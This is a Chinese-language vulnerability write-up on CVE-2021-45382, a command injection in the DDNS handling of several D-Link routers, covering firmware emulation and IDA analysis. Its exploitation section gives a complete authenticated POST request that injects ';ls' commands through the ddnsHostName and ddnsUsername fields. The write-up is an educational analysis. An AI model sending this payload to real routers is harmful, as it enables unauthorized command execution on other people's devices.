D-Link DIR-830L 命令注入
0x00.前言
D-Link DIR-830L
影响版本:
-
D-Link DIR-820L (Rev A) ALL
-
D-Link DIR-820L (Rev B) ALL
-
DIR-830L A1
-
D-Link DIR-810L (Rev A) ALL
-
D-Link DIR-810L (Rev B) ALL
-
D-Link DIR-810L (Rev A) ALL
-
D-Link DIR-826L (Rev A) ALL
-
DIR-836L (Rev A)
-
DIR-820LW (Rev A)
0x01.固件模拟
D-Link DIR-830L
测试环境:Ubuntu 18.04
固件版本:DIR830LA1_FW100B07
漏洞类型:命令执行
CVE编号:CVE-2021-45382
使用FirmAE对固件进行模拟
可以看到DIR-830L的固件模拟成功
0x02.漏洞分析
D-Link DIR-830L
使用binwalk提取固件
根据漏洞细节可以确定触发命令执行的是DDNS服务,直接检索和ddns处理相关的二进制应用
如果大家分析过D-Link的漏洞,可以知道D-Link的ncc2服务曾产生很多的安全问题,那么这次同样由于ncc2服务对输入的内容过滤不严谨,造成了命令执行接下来使用IDA进行逆向分析。
根据漏洞细节,可以定位到是处理ddns的hostname,username时触发的,可以使用IDA的String窗口搜索ddns相关的字符串。
可以看到关于ddnsHostName,ddnsUserName的字符串,双击字符串进行跳转。
可以看到通过get_entry_value_by_name获取传递的ddnsHostName,ddnsUsername,
ddnsPassword值。
格式化到字符串中,然后调用system执行命令根据调用向上追踪。
可以看到如果想要执行目标函数,ccp_act传递的值应为doCheck,继续往上追踪可以看到对应的回调函数。
本篇内容讲解的漏洞比较适合入门物联网安全的小白,但是检索设备以往的应用漏洞进而挖掘新的漏洞也不失为一种漏洞挖掘的途径。
0x03.漏洞利用
D-Link DIR-830L
命令执行绕过技巧
-
使用;拼接,执行不同的系统命令
-
POST /ddns_check.ccp HTTP/1.1 # 目标URL
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu;
Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 112
Origin: http://192.168.0.1
Connection: close
Cookie: uid=cGIveg4De1 # 认证信息,此漏洞需要认证
ccp_act=doCheck&ddnsHostName=;ls
/>/www/1.html;&ddnsUsername=;ls />/www/1.html;&ddnsPassword=123123123
这里我们已经成功看到执行系统命令,并将ls /命令的结果写入1.html中,直接访问即可查看命令执行的效果。
0x04.总结
D-Link DIR-830L
本篇内容讲解的漏洞比较适合入门物联网安全的小白,但是检索设备以往的应用漏洞进而挖掘新的漏洞也不失为一种漏洞挖掘的途径。
—— end ——
官网网址:
www.xinruisec.com
社区网址:
www.iotsec-zone.com
原文始发于微信公众号(IOTsec Zone):D-Link DIR-830L 命令注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论